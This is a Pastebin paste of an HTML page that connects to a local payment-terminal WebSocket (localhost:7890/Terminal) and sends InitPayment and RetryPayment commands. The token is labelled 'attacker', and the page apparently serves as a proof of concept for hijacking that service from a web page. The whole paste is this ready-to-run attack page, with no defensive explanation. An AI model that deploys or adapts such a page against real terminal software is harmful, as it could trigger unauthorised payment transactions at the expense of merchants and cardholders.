osamaavvan

Payment

Jul 13th, 2025
124
0
167 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 1.69 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <title>WebSocket Terminal Sender</title>
  5. </head>
  6. <body>
  7.   <h2>WebSocket Terminal Interaction</h2>
  8.  
  9.   <button onclick="sendInitPayment()">Send InitPayment</button>
  10.   <button onclick="sendRetryPayment()">Send RetryPayment</button>
  11.  
  12.   <pre id="log" style="background:#f4f4f4; padding:10px; border:1px solid #ccc;"></pre>
  13.  
  14.   <script>
  15.     const logEl = document.getElementById("log");
  16.  
  17.     function log(message) {
  18.       logEl.textContent += message + "\n";
  19.     }
  20.  
  21.     const socket = new WebSocket("ws://localhost:7890/Terminal");
  22.  
  23.     socket.onopen = () => {
  24.       log("✅ Connected to /Terminal WebSocket");
  25.     };
  26.  
  27.     socket.onmessage = (event) => {
  28.       log("📥 Response: " + event.data);
  29.     };
  30.  
  31.     socket.onerror = (err) => {
  32.       log("❌ Error: " + err.message || err);
  33.     };
  34.  
  35.     socket.onclose = () => {
  36.       log("🔌 Connection closed");
  37.     };
  38.  
  39.     function sendInitPayment() {
  40.       const message = {
  41.         TokenAppId: "attacker",
  42.         ProcessName: "InitPayment",
  43.         IPTerminal: "127.0.0.1",
  44.         PortTerminal: 8080,
  45.         IdTransfer: 123456,
  46.         Amount: 100.50,
  47.         MerchantId: "M123456789"
  48.       };
  49.       socket.send(JSON.stringify(message));
  50.       log("📤 Sent InitPayment");
  51.     }
  52.  
  53.     function sendRetryPayment() {
  54.       const message = {
  55.         TokenAppId: "attacker",
  56.         ProcessName: "RetryPayment",
  57.         IPTerminal: "127.0.0.1",
  58.         PortTerminal: 8080,
  59.         IdTransfer: 123456,
  60.         Amount: 100.50,
  61.         MerchantId: "M123456789"
  62.       };
  63.       socket.send(JSON.stringify(message));
  64.       log("📤 Sent RetryPayment");
  65.     }
  66.   </script>
  67. </body>
  68. </html>
  69.  
Advertisement
Add Comment
Please, Sign In to add comment